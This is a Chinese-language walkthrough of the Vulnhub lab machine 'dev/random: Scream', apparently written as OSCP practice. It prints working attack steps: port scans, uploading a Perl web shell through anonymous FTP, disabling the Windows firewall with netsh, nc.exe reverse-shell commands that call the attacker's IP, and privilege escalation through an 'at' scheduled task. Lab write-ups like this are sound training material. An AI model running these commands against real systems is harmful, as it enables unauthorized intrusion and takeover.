Vulnhub靶机 /dev/random: Scream:tftp利用,perl木马上传,windows nc正向shell连接,at命令提权
字数 1222 2025-08-22 12:23:30
《dev/random: Scream》靶机渗透测试教学文档
靶机概述
- 靶机名称:dev/random: Scream
- 难度等级:简单偏上
- 主要技术点:
- TFTP协议利用
- Perl木马上传
- Windows nc正向shell连接
- at命令提权
- 环境配置:
- 攻击机:Kali 2024.4 (192.168.66.128)
- 靶机:DevRandom_Scream (192.168.66.132)
信息收集阶段
主机发现
使用nmap进行主机发现,确认靶机IP地址为192.168.66.132
端口扫描
执行全面端口扫描:
nmap -sS -sU -p- 192.168.66.132
发现开放端口:
- TCP: 21(FTP), 22(SSH), 23(Telnet), 80(HTTP)
- UDP: 69(TFTP)
详细服务扫描
nmap -sV -O -p21,22,23,80,69 192.168.66.132
发现关键信息:
- FTP允许匿名登录
- TFTP服务运行中
漏洞利用
FTP匿名登录
ftp 192.168.66.132
用户名:anonymous
密码:空
发现root目录下存在index.html文件,推测为网站根目录
TFTP利用
TFTP(Trivial File Transfer Protocol)是基于UDP的简单文件传输协议(端口69)
尝试上传文件:
tftp 192.168.66.132
put test.txt
发现权限不足,无法上传
Web目录发现
通过FTP发现/cgi-bin/目录,可用于上传GUI程序
攻击阶段
Perl木马上传
- 准备一个Perl web shell (web-shell.pl),包含密码验证功能
- 通过FTP上传到/cgi-bin/目录
- 访问:http://192.168.66.132/cgi-bin/web-shell.pl?password=yourpassword
Web shell功能验证:
# 使用dir命令验证功能
http://192.168.66.132/cgi-bin/web-shell.pl?password=yourpassword&cmd=dir
防火墙检测与关闭
通过web shell执行:
netsh advfirewall show allprofiles
发现防火墙开启
关闭防火墙:
netsh advfirewall set allprofiles state off
正向shell连接准备
- 下载nc.exe到攻击机
- 通过web shell上传nc.exe到靶机
- 在攻击机监听端口:
nc -lvp 4444
- 在靶机执行:
nc.exe -e cmd 192.168.66.128 4444
成功获取反向shell
提权阶段
系统信息收集
whoami
net user
hostname
systeminfo
发现当前用户已是Administrators组成员,但需要更高权限
at命令提权
- 创建bat.bat脚本:
nc.exe -e cmd 192.168.66.128 5555
- 上传bat.bat到靶机
- 设置定时任务:
at 14:30 /interactive cmd /c "C:\path\to\bat.bat"
(设置时间为当前时间后1-2分钟)
- 在攻击机监听新端口:
nc -lvp 5555
- 时间到达后,获得高权限shell
替代方案(不使用MSF)
虽然MSF可以简化流程(如生成.exe文件进行服务劫持提权),但本演练遵循OSCP+考试限制(MSF只能使用一次),全程未使用MSF。
总结
该靶机渗透测试流程:
- 通过TFTP和FTP发现攻击面
- 利用/cgi-bin/目录上传web shell
- 通过web shell上传nc.exe获取初始shell
- 利用at命令执行计划任务获取系统权限
关键点:
- TFTP协议的特性利用
- Perl web shell的上传与使用
- Windows防火墙的检测与关闭
- nc正向连接技术
- at命令的提权原理与应用